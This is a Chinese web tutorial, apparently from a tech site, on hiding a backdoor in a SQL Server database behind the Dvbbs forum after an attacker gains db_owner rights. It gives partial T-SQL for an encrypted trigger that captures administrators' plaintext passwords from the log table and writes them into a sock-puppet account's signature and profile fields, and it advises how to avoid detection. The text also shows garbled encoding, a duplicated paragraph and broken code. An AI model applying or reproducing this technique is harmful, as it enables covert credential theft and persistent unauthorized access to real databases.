推薦：怎樣用SQL Server事件探查器創(chuàng)建跟蹤
QL Server事件探查器(Profiler)可以幫助數(shù)據(jù)庫管理員跟蹤SQL Server數(shù)據(jù)庫所執(zhí)行的特定事件，監(jiān)視數(shù)據(jù)庫的行為;并將這些有價值的信息保存到文件或表，以便以后用來分析解決數(shù)據(jù)庫出現(xiàn)的問題，對數(shù)據(jù)庫引擎性能進(jìn)行優(yōu)化。本文為大家一步一步講述如何用SQL Ser

觸發(fā)器權(quán)限和所有權(quán)

CREATE TRIGGER 權(quán)限默認(rèn)授予定義觸發(fā)器的表所有者、sysadmin 固定服務(wù)器角色成員以及 db_owner 和 db_ddladmin 固定數(shù)據(jù)庫角色成員，并且不可轉(zhuǎn)讓。

需要的環(huán)境

本文需要的環(huán)境是已經(jīng)獲取了sql服務(wù)器的以上其中一個權(quán)限，目的是為了留下隱蔽的后門，不被管理員發(fā)現(xiàn)。即使發(fā)現(xiàn)了也是加密的(可以破解，不過有些管理員不懂，也不會注意，相關(guān)信息google下)。

觸發(fā)器是在對表進(jìn)行插入(insert)、更新(update)或刪除(delete)操作時，自動執(zhí)行的存儲過程。最常見用于執(zhí)行敏感數(shù)據(jù)操作時做歷史記錄。

本文以動網(wǎng)論壇dvbbs為例，我們已經(jīng)拿到了db_owner權(quán)限(注意：并不是說dvbbs本身有漏洞)。因為只是db_owner權(quán)限，所以讀者想去執(zhí)行“xp_cmdshell”，就不在本文范圍了，相信讀過本文后，只要有系統(tǒng)權(quán)限，做個系統(tǒng)的后門也是簡單的。先回想一下通常我們使用數(shù)據(jù)庫時要做什么和關(guān)心什么。

為什么要使用觸發(fā)器作后門?

管理員首先會把sql文件執(zhí)行下，然后導(dǎo)入mdb的內(nèi)容，平時使用頂多備份下，還原下。通常不會有人去看觸發(fā)器的內(nèi)容，查看觸發(fā)器可以使用命令“exec sp_helptrigger 'dv_admin'”，或者在企業(yè)管理器中選擇“管理觸發(fā)器”。因為動網(wǎng)根本沒有用到觸發(fā)器，也沒有提到觸發(fā)器，所以動網(wǎng)的管理員不會去看的。于是我們在里面寫的內(nèi)容就相對安全了。

思路

觸發(fā)器主要是用來做歷史記錄的，當(dāng)然可以把管理員更改密碼和添加用戶的歷史記錄下。放進(jìn)一個管理員通常不會注意的、普通用戶又可以看到的地方。

動網(wǎng)的密碼有md5加過密的，加密的操作是asp程序在服務(wù)器上來完成的，等數(shù)據(jù)庫拿到數(shù)據(jù)的時候已經(jīng)是加過密的了。但是動網(wǎng)同時把密碼以明文方式放入dv_log表中，就給了我們方便。只要拿到dv_log表中l(wèi)_content字段的內(nèi)容，然后判斷是否管理員在執(zhí)行敏感操作，后門思路就形成了。

使用過程――代碼解析

代碼片斷：創(chuàng)建觸發(fā)器。

create trigger dv_admin_history

on Dv_log

with encryption

for insertas

as

觸發(fā)器需要建立在Dv_log表上，這里放入的是明文密碼。我們并不知道管理員密碼設(shè)置有多長，只能是把里面的有密碼的字段內(nèi)容全部取出。觸發(fā)器最好是加密的，加密后，管理員即使看到了，也不知道這里是什么東西。在insert(加入)數(shù)據(jù)時執(zhí)行觸發(fā)器。

取出來的值應(yīng)該放入一個普通用戶能看到的地方，這樣只要有了普通用戶的權(quán)限就可以看到密碼。動網(wǎng)數(shù)據(jù)庫中，最大并且可以存放數(shù)據(jù)的字段管理員通常都會看到。所以必須找出來一個管理員不會看，而其他用戶也不會注意的地方。

我選擇放在一個新建用戶的用戶信息里(以下通稱這個用戶為“汪財”，親切點)，這樣我們登陸時就可以看到了(注意：登陸時有日志的，記錄最后登陸ip，大家自己解決)。

有以下幾個字段適于存放：

1、Userphoto，字段類型：varchar(255)。記錄了汪財?shù)恼掌�地址。可以存放小�?55的數(shù)據(jù)。

2、Usersign，字段類型：varchar(255)。汪財?shù)暮灻�，如果放這里，汪財就不能發(fā)貼了，否則后果自負(fù)(發(fā)貼會顯示簽名，地球人都能看到)。

3、Useremail，字段類型：nvarchar(255)。汪財?shù)膃mail，使用時需要轉(zhuǎn)換類型。

4、Userinfo，字段類型：text。汪財?shù)挠脩糍Y料。該字段很特殊，有很多“”，每一對“”之間都有著不同的含義。動網(wǎng)很懶的，為了避免字段太多，就把一堆信息全都放入一個字段里，用“”分開，當(dāng)查詢某一項信息時，取出來全部，然后分割下，就是需要的數(shù)據(jù)了。

解決的問題：

1、如果都放滿了， 理論上，如果我們看到了第一個字段有了東西，就應(yīng)該拿筆記下來，然后刪除掉。觸發(fā)器會自動檢查大小后繼續(xù)使用。再次強調(diào)下，本文例子針對動網(wǎng)，大家應(yīng)該具體問題具體分析。

2、管理員的日志中，有很多日志，怎么判斷它就是在記錄更改密碼。

在管理員操作用戶時，當(dāng)然會在“user.asp”或者“admin.asp”中操作，所以我們判斷條件需要：

select @passinfo = l_content from inserted where l_type = 1 and (l_touser = 'user.asp' or l_touser = 'admin.asp')

在l_touser為user.asp或者admin.asp時，說明管理員在操作(查看，更新，刪除)用戶或者管理員。在l_type = 1時，說明執(zhí)行了更新操作，l_content字段里面有密碼(如果管理員更新了密碼，或者新建了帳戶)。因此，查詢inserted表中的l_content，賦值給@passinfo代碼片斷：更新汪財?shù)膗sersign字段。

if (len(@usersign) < 150 or @usersign is null)

begin if (@usersign is null)

set @usersign = ' '

set @passinfo = @usersign @passinfo

update Dv_User set usersign = @passinfo where username = @username

commit tran

returnend

end

首次更新時，usersign字段里沒有內(nèi)容，而SQL Server里null加任何數(shù)都是null，所以需要判斷is null之后，給null賦值為一個空格。其他幾個字段的方法和這里大同小異，只是一個轉(zhuǎn)換nvarchar和“”的組合時多了點。最后判斷如果字段內(nèi)容太多就不再寫了，為了提高性能，也可以把最后的判斷寫在前面，一旦數(shù)據(jù)過多，就不需要再繼續(xù)執(zhí)行了。

首次更新時，汪財?shù)膗sersign字段里沒有內(nèi)容，而SQL Server里null加任何數(shù)都是null，所以需要判斷is null之后，給null賦值為一個空格。其他幾個字段的方法和這里大同小異，只是一個轉(zhuǎn)換nvarchar和“”的組合時多了點。最后判斷如果字段內(nèi)容太多就不再寫了，為了提高性能，也可以把最后的判斷寫在前面，一旦數(shù)據(jù)過多，就不需要再繼續(xù)執(zhí)行了。

分享：SQL Server 2005中五個動態(tài)管理對象
SQL Server 2005的新功能為動態(tài)管理對象，它們是在指定時間返回某個數(shù)據(jù)庫實例的特殊狀態(tài)信息的數(shù)據(jù)庫視圖或函數(shù)。這些對象允許數(shù)據(jù)庫管理員或開發(fā)者對數(shù)據(jù)庫服務(wù)器進(jìn)行高效監(jiān)控。動態(tài)管理對象取代了SQL Server以前版本中的許多系統(tǒng)表格，但也為數(shù)據(jù)庫管理員